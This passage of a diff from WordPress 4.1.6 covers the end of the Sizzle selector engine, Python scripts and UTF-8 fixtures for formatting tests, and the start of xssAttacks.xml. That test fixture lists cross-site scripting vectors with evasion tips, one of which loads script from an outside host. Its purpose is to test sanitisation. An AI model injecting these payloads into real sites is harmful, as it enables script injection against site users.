+		if ( toString.call(array) === "[object Array]" ) {
+			Array.prototype.push.apply( ret, array );
+
+		} else {
+			if ( typeof array.length === "number" ) {
+				for ( var l = array.length; i < l; i++ ) {
+					ret.push( array[i] );
+				}
+
+			} else {
+				for ( ; array[i]; i++ ) {
+					ret.push( array[i] );
+				}
+			}
+		}
+
+		return ret;
+	};
+}
+
+var sortOrder, siblingCheck;
+
+if ( document.documentElement.compareDocumentPosition ) {
+	sortOrder = function( a, b ) {
+		if ( a === b ) {
+			hasDuplicate = true;
+			return 0;
+		}
+
+		if ( !a.compareDocumentPosition || !b.compareDocumentPosition ) {
+			return a.compareDocumentPosition ? -1 : 1;
+		}
+
+		return a.compareDocumentPosition(b) & 4 ? -1 : 1;
+	};
+
+} else {
+	sortOrder = function( a, b ) {
+		// The nodes are identical, we can exit early
+		if ( a === b ) {
+			hasDuplicate = true;
+			return 0;
+
+		// Fallback to using sourceIndex (in IE) if it's available on both nodes
+		} else if ( a.sourceIndex && b.sourceIndex ) {
+			return a.sourceIndex - b.sourceIndex;
+		}
+
+		var al, bl,
+			ap = [],
+			bp = [],
+			aup = a.parentNode,
+			bup = b.parentNode,
+			cur = aup;
+
+		// If the nodes are siblings (or identical) we can do a quick check
+		if ( aup === bup ) {
+			return siblingCheck( a, b );
+
+		// If no parents were found then the nodes are disconnected
+		} else if ( !aup ) {
+			return -1;
+
+		} else if ( !bup ) {
+			return 1;
+		}
+
+		// Otherwise they're somewhere else in the tree so we need
+		// to build up a full list of the parentNodes for comparison
+		while ( cur ) {
+			ap.unshift( cur );
+			cur = cur.parentNode;
+		}
+
+		cur = bup;
+
+		while ( cur ) {
+			bp.unshift( cur );
+			cur = cur.parentNode;
+		}
+
+		al = ap.length;
+		bl = bp.length;
+
+		// Start walking down the tree looking for a discrepancy
+		for ( var i = 0; i < al && i < bl; i++ ) {
+			if ( ap[i] !== bp[i] ) {
+				return siblingCheck( ap[i], bp[i] );
+			}
+		}
+
+		// We ended someplace up the tree so do a sibling check
+		return i === al ?
+			siblingCheck( a, bp[i], -1 ) :
+			siblingCheck( ap[i], b, 1 );
+	};
+
+	siblingCheck = function( a, b, ret ) {
+		if ( a === b ) {
+			return ret;
+		}
+
+		var cur = a.nextSibling;
+
+		while ( cur ) {
+			if ( cur === b ) {
+				return -1;
+			}
+
+			cur = cur.nextSibling;
+		}
+
+		return 1;
+	};
+}
+
+// Check to see if the browser returns elements by name when
+// querying by getElementById (and provide a workaround)
+(function(){
+	// We're going to inject a fake input element with a specified name
+	var form = document.createElement("div"),
+		id = "script" + (new Date()).getTime(),
+		root = document.documentElement;
+
+	form.innerHTML = "<a name='" + id + "'/>";
+
+	// Inject it into the root element, check its status, and remove it quickly
+	root.insertBefore( form, root.firstChild );
+
+	// The workaround has to do additional checks after a getElementById
+	// Which slows things down for other browsers (hence the branching)
+	if ( document.getElementById( id ) ) {
+		Expr.find.ID = function( match, context, isXML ) {
+			if ( typeof context.getElementById !== "undefined" && !isXML ) {
+				var m = context.getElementById(match[1]);
+
+				return m ?
+					m.id === match[1] || typeof m.getAttributeNode !== "undefined" && m.getAttributeNode("id").nodeValue === match[1] ?
+						[m] :
+						undefined :
+					[];
+			}
+		};
+
+		Expr.filter.ID = function( elem, match ) {
+			var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id");
+
+			return elem.nodeType === 1 && node && node.nodeValue === match;
+		};
+	}
+
+	root.removeChild( form );
+
+	// release memory in IE
+	root = form = null;
+})();
+
+(function(){
+	// Check to see if the browser returns only elements
+	// when doing getElementsByTagName("*")
+
+	// Create a fake element
+	var div = document.createElement("div");
+	div.appendChild( document.createComment("") );
+
+	// Make sure no comments are found
+	if ( div.getElementsByTagName("*").length > 0 ) {
+		Expr.find.TAG = function( match, context ) {
+			var results = context.getElementsByTagName( match[1] );
+
+			// Filter out possible comments
+			if ( match[1] === "*" ) {
+				var tmp = [];
+
+				for ( var i = 0; results[i]; i++ ) {
+					if ( results[i].nodeType === 1 ) {
+						tmp.push( results[i] );
+					}
+				}
+
+				results = tmp;
+			}
+
+			return results;
+		};
+	}
+
+	// Check to see if an attribute returns normalized href attributes
+	div.innerHTML = "<a href='#'></a>";
+
+	if ( div.firstChild && typeof div.firstChild.getAttribute !== "undefined" &&
+			div.firstChild.getAttribute("href") !== "#" ) {
+
+		Expr.attrHandle.href = function( elem ) {
+			return elem.getAttribute( "href", 2 );
+		};
+	}
+
+	// release memory in IE
+	div = null;
+})();
+
+if ( document.querySelectorAll ) {
+	(function(){
+		var oldSizzle = Sizzle,
+			div = document.createElement("div"),
+			id = "__sizzle__";
+
+		div.innerHTML = "<p class='TEST'></p>";
+
+		// Safari can't handle uppercase or unicode characters when
+		// in quirks mode.
+		if ( div.querySelectorAll && div.querySelectorAll(".TEST").length === 0 ) {
+			return;
+		}
+
+		Sizzle = function( query, context, extra, seed ) {
+			context = context || document;
+
+			// Only use querySelectorAll on non-XML documents
+			// (ID selectors don't work in non-HTML documents)
+			if ( !seed && !Sizzle.isXML(context) ) {
+				// See if we find a selector to speed up
+				var match = /^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec( query );
+
+				if ( match && (context.nodeType === 1 || context.nodeType === 9) ) {
+					// Speed-up: Sizzle("TAG")
+					if ( match[1] ) {
+						return makeArray( context.getElementsByTagName( query ), extra );
+
+					// Speed-up: Sizzle(".CLASS")
+					} else if ( match[2] && Expr.find.CLASS && context.getElementsByClassName ) {
+						return makeArray( context.getElementsByClassName( match[2] ), extra );
+					}
+				}
+
+				if ( context.nodeType === 9 ) {
+					// Speed-up: Sizzle("body")
+					// The body element only exists once, optimize finding it
+					if ( query === "body" && context.body ) {
+						return makeArray( [ context.body ], extra );
+
+					// Speed-up: Sizzle("#ID")
+					} else if ( match && match[3] ) {
+						var elem = context.getElementById( match[3] );
+
+						// Check parentNode to catch when Blackberry 4.6 returns
+						// nodes that are no longer in the document #6963
+						if ( elem && elem.parentNode ) {
+							// Handle the case where IE and Opera return items
+							// by name instead of ID
+							if ( elem.id === match[3] ) {
+								return makeArray( [ elem ], extra );
+							}
+
+						} else {
+							return makeArray( [], extra );
+						}
+					}
+
+					try {
+						return makeArray( context.querySelectorAll(query), extra );
+					} catch(qsaError) {}
+
+				// qSA works strangely on Element-rooted queries
+				// We can work around this by specifying an extra ID on the root
+				// and working up from there (Thanks to Andrew Dupont for the technique)
+				// IE 8 doesn't work on object elements
+				} else if ( context.nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) {
+					var oldContext = context,
+						old = context.getAttribute( "id" ),
+						nid = old || id,
+						hasParent = context.parentNode,
+						relativeHierarchySelector = /^\s*[+~]/.test( query );
+
+					if ( !old ) {
+						context.setAttribute( "id", nid );
+					} else {
+						nid = nid.replace( /'/g, "\\$&" );
+					}
+					if ( relativeHierarchySelector && hasParent ) {
+						context = context.parentNode;
+					}
+
+					try {
+						if ( !relativeHierarchySelector || hasParent ) {
+							return makeArray( context.querySelectorAll( "[id='" + nid + "'] " + query ), extra );
+						}
+
+					} catch(pseudoError) {
+					} finally {
+						if ( !old ) {
+							oldContext.removeAttribute( "id" );
+						}
+					}
+				}
+			}
+
+			return oldSizzle(query, context, extra, seed);
+		};
+
+		for ( var prop in oldSizzle ) {
+			Sizzle[ prop ] = oldSizzle[ prop ];
+		}
+
+		// release memory in IE
+		div = null;
+	})();
+}
+
+(function(){
+	var html = document.documentElement,
+		matches = html.matchesSelector || html.mozMatchesSelector || html.webkitMatchesSelector || html.msMatchesSelector;
+
+	if ( matches ) {
+		// Check to see if it's possible to do matchesSelector
+		// on a disconnected node (IE 9 fails this)
+		var disconnectedMatch = !matches.call( document.createElement( "div" ), "div" ),
+			pseudoWorks = false;
+
+		try {
+			// This should fail with an exception
+			// Gecko does not error, returns false instead
+			matches.call( document.documentElement, "[test!='']:sizzle" );
+
+		} catch( pseudoError ) {
+			pseudoWorks = true;
+		}
+
+		Sizzle.matchesSelector = function( node, expr ) {
+			// Make sure that attribute selectors are quoted
+			expr = expr.replace(/\=\s*([^'"\]]*)\s*\]/g, "='$1']");
+
+			if ( !Sizzle.isXML( node ) ) {
+				try {
+					if ( pseudoWorks || !Expr.match.PSEUDO.test( expr ) && !/!=/.test( expr ) ) {
+						var ret = matches.call( node, expr );
+
+						// IE 9's matchesSelector returns false on disconnected nodes
+						if ( ret || !disconnectedMatch ||
+								// As well, disconnected nodes are said to be in a document
+								// fragment in IE 9, so check for that
+								node.document && node.document.nodeType !== 11 ) {
+							return ret;
+						}
+					}
+				} catch(e) {}
+			}
+
+			return Sizzle(expr, null, null, [node]).length > 0;
+		};
+	}
+})();
+
+(function(){
+	var div = document.createElement("div");
+
+	div.innerHTML = "<div class='test e'></div><div class='test'></div>";
+
+	// Opera can't find a second classname (in 9.6)
+	// Also, make sure that getElementsByClassName actually exists
+	if ( !div.getElementsByClassName || div.getElementsByClassName("e").length === 0 ) {
+		return;
+	}
+
+	// Safari caches class attributes, doesn't catch changes (in 3.2)
+	div.lastChild.className = "e";
+
+	if ( div.getElementsByClassName("e").length === 1 ) {
+		return;
+	}
+
+	Expr.order.splice(1, 0, "CLASS");
+	Expr.find.CLASS = function( match, context, isXML ) {
+		if ( typeof context.getElementsByClassName !== "undefined" && !isXML ) {
+			return context.getElementsByClassName(match[1]);
+		}
+	};
+
+	// release memory in IE
+	div = null;
+})();
+
+function dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {
+	for ( var i = 0, l = checkSet.length; i < l; i++ ) {
+		var elem = checkSet[i];
+
+		if ( elem ) {
+			var match = false;
+
+			elem = elem[dir];
+
+			while ( elem ) {
+				if ( elem[ expando ] === doneName ) {
+					match = checkSet[elem.sizset];
+					break;
+				}
+
+				if ( elem.nodeType === 1 && !isXML ){
+					elem[ expando ] = doneName;
+					elem.sizset = i;
+				}
+
+				if ( elem.nodeName.toLowerCase() === cur ) {
+					match = elem;
+					break;
+				}
+
+				elem = elem[dir];
+			}
+
+			checkSet[i] = match;
+		}
+	}
+}
+
+function dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {
+	for ( var i = 0, l = checkSet.length; i < l; i++ ) {
+		var elem = checkSet[i];
+
+		if ( elem ) {
+			var match = false;
+
+			elem = elem[dir];
+
+			while ( elem ) {
+				if ( elem[ expando ] === doneName ) {
+					match = checkSet[elem.sizset];
+					break;
+				}
+
+				if ( elem.nodeType === 1 ) {
+					if ( !isXML ) {
+						elem[ expando ] = doneName;
+						elem.sizset = i;
+					}
+
+					if ( typeof cur !== "string" ) {
+						if ( elem === cur ) {
+							match = true;
+							break;
+						}
+
+					} else if ( Sizzle.filter( cur, [elem] ).length > 0 ) {
+						match = elem;
+						break;
+					}
+				}
+
+				elem = elem[dir];
+			}
+
+			checkSet[i] = match;
+		}
+	}
+}
+
+if ( document.documentElement.contains ) {
+	Sizzle.contains = function( a, b ) {
+		return a !== b && (a.contains ? a.contains(b) : true);
+	};
+
+} else if ( document.documentElement.compareDocumentPosition ) {
+	Sizzle.contains = function( a, b ) {
+		return !!(a.compareDocumentPosition(b) & 16);
+	};
+
+} else {
+	Sizzle.contains = function() {
+		return false;
+	};
+}
+
+Sizzle.isXML = function( elem ) {
+	// documentElement is verified for cases where it doesn't yet exist
+	// (such as loading iframes in IE - #4833)
+	var documentElement = (elem ? elem.ownerDocument || elem : 0).documentElement;
+
+	return documentElement ? documentElement.nodeName !== "HTML" : false;
+};
+
+var posProcess = function( selector, context, seed ) {
+	var match,
+		tmpSet = [],
+		later = "",
+		root = context.nodeType ? [context] : context;
+
+	// Position selectors must be done after the filter
+	// And so must :not(positional) so we move all PSEUDOs to the end
+	while ( (match = Expr.match.PSEUDO.exec( selector )) ) {
+		later += match[0];
+		selector = selector.replace( Expr.match.PSEUDO, "" );
+	}
+
+	selector = Expr.relative[selector] ? selector + "*" : selector;
+
+	for ( var i = 0, l = root.length; i < l; i++ ) {
+		Sizzle( selector, root[i], tmpSet, seed );
+	}
+
+	return Sizzle.filter( later, tmpSet );
+};
+
+// EXPOSE
+
+window.Sizzle = Sizzle;
+
+})();
Index: /tags/4.1.6/tests/phpunit/data/formatting/utf-8/README
===================================================================
--- /tags/4.1.6/tests/phpunit/data/formatting/utf-8/README	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/formatting/utf-8/README	(revision 33402)
@@ -0,0 +1,15 @@
+The Python scripts are for generating test data, because Python's Unicode
+support is much, much, much, much better than PHP's.
+
+ * `utf-8/urlencode.py`, `utf-8/u-urlencode.py` and `utf-8/entitize.py` process UTF-8
+   into a few different formats (%-encoding, %u-encoding, &#decimal;)
+   and are used like normal UNIXy pipes.
+
+   Try:
+
+   `python urlencode.py < utf-8.txt > urlencoded.txt`
+   `python u-urlencode.py < utf-8.txt > u-urlencoded.txt`
+   `python entitize.py < utf-8.txt > entitized.txt`
+
+  * `windows-1252.py` converts Windows-only smart-quotes and things
+    into their unicode &#decimal reference; equivalents.
Index: /tags/4.1.6/tests/phpunit/data/formatting/utf-8/entitize.py
===================================================================
--- /tags/4.1.6/tests/phpunit/data/formatting/utf-8/entitize.py	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/formatting/utf-8/entitize.py	(revision 33402)
@@ -0,0 +1,24 @@
+# Generates entitized.txt from utf-8.txt
+#
+# entitized.txt is used by Tests_Formatting_UrlEncodedToEntities
+
+import codecs
+import sys
+
+def entitize(line):
+    """Convert text to &#[dec]; entities."""
+    line = line.strip();
+    line = ["&#%d;" % ord(s) for s in line]
+    return "".join(line)
+
+if __name__ == "__main__":
+    args = sys.argv[1:]
+    if args and args[0] in ("-h", "--help"):
+        print "Usage: python entitize.py < utf-8.txt > entitized.txt"
+        sys.exit(2)
+
+    sys.stdin = codecs.getreader("utf-8")(sys.stdin)
+    sys.stdout = codecs.getwriter("ascii")(sys.stdout)    
+    
+    lines = sys.stdin.readlines()
+    sys.stdout.write( "\n".join(map(entitize, lines)) )
Index: /tags/4.1.6/tests/phpunit/data/formatting/utf-8/entitized.txt
===================================================================
--- /tags/4.1.6/tests/phpunit/data/formatting/utf-8/entitized.txt	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/formatting/utf-8/entitized.txt	(revision 33402)
@@ -0,0 +1,5 @@
+&#31456;&#23376;&#24609;
+&#70;&#114;&#97;&#110;&#231;&#111;&#105;&#115;&#32;&#84;&#114;&#117;&#102;&#102;&#97;&#117;&#116;
+&#4321;&#4304;&#4325;&#4304;&#4320;&#4311;&#4309;&#4308;&#4314;&#4317;
+&#66;&#106;&#246;&#114;&#107;&#32;&#71;&#117;&#240;&#109;&#117;&#110;&#100;&#115;&#100;&#243;&#116;&#116;&#105;&#114;
+&#23470;&#23822;&#12288;&#39423;
Index: /tags/4.1.6/tests/phpunit/data/formatting/utf-8/u-urlencode.py
===================================================================
--- /tags/4.1.6/tests/phpunit/data/formatting/utf-8/u-urlencode.py	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/formatting/utf-8/u-urlencode.py	(revision 33402)
@@ -0,0 +1,24 @@
+# Generates u-urlencoded.txt from utf-8.txt
+#
+# u-urlencoded.txt is used by Tests_Formatting_UrlEncodedToEntities
+
+import codecs
+import sys
+
+def uurlencode(line):
+    """Use %u[hexvalue] percent encoding."""
+    line = line.strip()
+    line = ["%%u%04X" % ord(s) for s in line]
+    return "".join(line)
+
+if __name__ == "__main__":
+    args = sys.argv[1:]
+    if args and args[0] in ("-h", "--help"):
+        print "Usage: python u-urlencode.py < utf-8.txt > u-urlencoded.txt"
+        sys.exit(2)
+
+    sys.stdin = codecs.getreader("utf-8")(sys.stdin)
+    sys.stdout = codecs.getwriter("ascii")(sys.stdout)    
+    
+    lines = sys.stdin.readlines()
+    sys.stdout.write( "\n".join(map(uurlencode, lines)) )
Index: /tags/4.1.6/tests/phpunit/data/formatting/utf-8/u-urlencoded.txt
===================================================================
--- /tags/4.1.6/tests/phpunit/data/formatting/utf-8/u-urlencoded.txt	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/formatting/utf-8/u-urlencoded.txt	(revision 33402)
@@ -0,0 +1,5 @@
+%u7AE0%u5B50%u6021
+%u0046%u0072%u0061%u006E%u00E7%u006F%u0069%u0073%u0020%u0054%u0072%u0075%u0066%u0066%u0061%u0075%u0074
+%u10E1%u10D0%u10E5%u10D0%u10E0%u10D7%u10D5%u10D4%u10DA%u10DD
+%u0042%u006A%u00F6%u0072%u006B%u0020%u0047%u0075%u00F0%u006D%u0075%u006E%u0064%u0073%u0064%u00F3%u0074%u0074%u0069%u0072
+%u5BAE%u5D0E%u3000%u99FF
Index: /tags/4.1.6/tests/phpunit/data/formatting/utf-8/urlencode.py
===================================================================
--- /tags/4.1.6/tests/phpunit/data/formatting/utf-8/urlencode.py	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/formatting/utf-8/urlencode.py	(revision 33402)
@@ -0,0 +1,33 @@
+# Generates urlencoded.txt from utf-8.txt
+#
+# urlencoded.txt is used by Tests_Formatting_Utf8UriEncode
+
+import urllib, codecs, re
+import sys
+
+# uncapitalize pct-encoded values, leave the rest alone
+capfix = re.compile("%([0-9A-Z]{2})");
+def fix(match):
+    octet = match.group(1)
+    intval = int(octet, 16)
+    if intval < 128:
+        return chr(intval).lower()
+    return '%' + octet.lower()
+
+def urlencode(line):
+    """Percent-encode each byte of non-ASCII unicode characters."""
+    line = urllib.quote(line.strip().encode("utf-8"))
+    line = capfix.sub(fix, line)
+    return line
+
+if __name__ == "__main__":
+    args = sys.argv[1:]
+    if args and args[0] in ("-h", "--help"):
+        print "Usage: python urlencode.py < utf-8.txt > urlencoded.txt"
+        sys.exit(2)
+
+    sys.stdin = codecs.getreader("utf-8")(sys.stdin)
+    sys.stdout = codecs.getwriter("ascii")(sys.stdout)    
+    
+    lines = sys.stdin.readlines()
+    sys.stdout.write( "\n".join(map(urlencode, lines)) )
Index: /tags/4.1.6/tests/phpunit/data/formatting/utf-8/urlencoded.txt
===================================================================
--- /tags/4.1.6/tests/phpunit/data/formatting/utf-8/urlencoded.txt	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/formatting/utf-8/urlencoded.txt	(revision 33402)
@@ -0,0 +1,5 @@
+%e7%ab%a0%e5%ad%90%e6%80%a1
+Fran%c3%a7ois Truffaut
+%e1%83%a1%e1%83%90%e1%83%a5%e1%83%90%e1%83%a0%e1%83%97%e1%83%95%e1%83%94%e1%83%9a%e1%83%9d
+Bj%c3%b6rk Gu%c3%b0mundsd%c3%b3ttir
+%e5%ae%ae%e5%b4%8e%e3%80%80%e9%a7%bf
Index: /tags/4.1.6/tests/phpunit/data/formatting/utf-8/utf-8.txt
===================================================================
--- /tags/4.1.6/tests/phpunit/data/formatting/utf-8/utf-8.txt	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/formatting/utf-8/utf-8.txt	(revision 33402)
@@ -0,0 +1,5 @@
+章子怡
+François Truffaut
+საქართველო
+Björk Guðmundsdóttir
+宮崎　駿
Index: /tags/4.1.6/tests/phpunit/data/formatting/windows1252.py
===================================================================
--- /tags/4.1.6/tests/phpunit/data/formatting/windows1252.py	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/formatting/windows1252.py	(revision 33402)
@@ -0,0 +1,27 @@
+# Generates test data for functions converting between
+# dodgy windows-1252-only values and their unicode counterparts
+
+unichars = ["201A", "0192", "201E", "2026", "2020", "2021", 
+            "02C6", "2030", "0160", "2039", "0152", "2018", 
+            "2019", "201C", "201D", "2022", "2013", "2014", 
+            "02DC", "2122", "0161", "203A", "0153", "0178"];
+
+winpoints = []
+unipoints = []
+
+for char in unichars:
+    char = unichr(int(char, 16))
+    dec = ord(char)
+    win = ord(char.encode("windows-1252"))
+    
+    unipoints.append(dec)
+    winpoints.append(win)
+
+def entitize(s):
+    return "&#%s;" % s
+
+winpoints = map(entitize, winpoints)
+unipoints = map(entitize, unipoints)
+
+print "".join(winpoints), "".join(unipoints)
+    
Index: /tags/4.1.6/tests/phpunit/data/formatting/xssAttacks.xml
===================================================================
--- /tags/4.1.6/tests/phpunit/data/formatting/xssAttacks.xml	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/formatting/xssAttacks.xml	(revision 33402)
@@ -0,0 +1,976 @@
+<?xml version="1.0"?>
+<xss> 
+	<attack> 
+		<name>XSS Locator</name> 
+		<code>&apos;;alert(String.fromCharCode(88,83,83))//\&apos;;alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;&quot;&gt;&apos;&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;=&amp;{}</code> 
+		<desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &quot;XSS&quot; will pop up.  You&apos;ll need to replace the &quot;&amp;&quot; with &quot;%26&quot; if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable.  Tip: If you&apos;re in a rush and need to quickly check a page, often times injecting the deprecated &quot;&lt;PLAINTEXT&gt;&quot; tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably.</desc> 
+		<label>Basic XSS Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>XSS Quick Test</name> 
+		<code>&apos;&apos;;!--&quot;&lt;XSS&gt;=&amp;{()}</code> 
+		<desc>If you don&apos;t have much space, this string is a nice compact XSS injection check. View source after injecting it and look for &lt;XSS versus &amp;lt;XSS to see if it is vulnerable.</desc> 
+		<label>Basic XSS Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>SCRIPT w/Alert()</name> 
+		<code>&lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;</code> 
+		<desc>Basic injection attack</desc> 
+		<label>Basic XSS Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>SCRIPT w/Source File</name> 
+		<code>&lt;SCRIPT SRC=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here).</desc> 
+		<label>Basic XSS Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>SCRIPT w/Char Code</name> 
+		<code>&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;</code> 
+		<desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &quot;XSS&quot; will pop up.</desc> 
+		<label>Basic XSS Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>BASE</name> 
+		<code>&lt;BASE HREF=&quot;javascript:alert(&apos;XSS&apos;);//&quot;&gt;</code> 
+		<desc>Works in IE and Netscape 8.1 in safe mode.  You need the // to comment out the next characters so you won&apos;t get a JavaScript error and your XSS tag will render.  Also, this relies on the fact that the website uses dynamically placed images like &quot;images/image.jpg&quot; rather than full paths.  If the path includes a leading forward slash like &quot;/images/image.jpg&quot; you can remove one slash from this vector (as long as there are two to begin the comment this will work</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>BGSOUND</name> 
+		<code>&lt;BGSOUND SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>BGSOUND</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>BODY background-image</name> 
+		<code>&lt;BODY BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>BODY image</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>BODY ONLOAD</name> 
+		<code>&lt;BODY ONLOAD=alert(&apos;XSS&apos;)&gt;</code> 
+		<desc>BODY tag (I like this method because it doesn&apos;t require using any variants of &quot;javascript:&quot; or &quot;&lt;SCRIPT...&quot; to accomplish the XSS attack)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>DIV background-image 1</name> 
+		<code>&lt;DIV STYLE=&quot;background-image: url(javascript:alert(&apos;XSS&apos;))&quot;&gt;</code> 
+		<desc>Div background-image</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>DIV background-image 2</name> 
+		<code>&lt;DIV STYLE=&quot;background-image: url(&amp;#1;javascript:alert(&apos;XSS&apos;))&quot;&gt;</code> 
+		<desc>Div background-image plus extra characters.  I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course.  (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>DIV expression</name> 
+		<code>&lt;DIV STYLE=&quot;width: expression(alert(&apos;XSS&apos;));&quot;&gt;</code> 
+		<desc>Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and &quot;expression&quot;</desc> 
+		<label>HTML Element Attacks</label> 
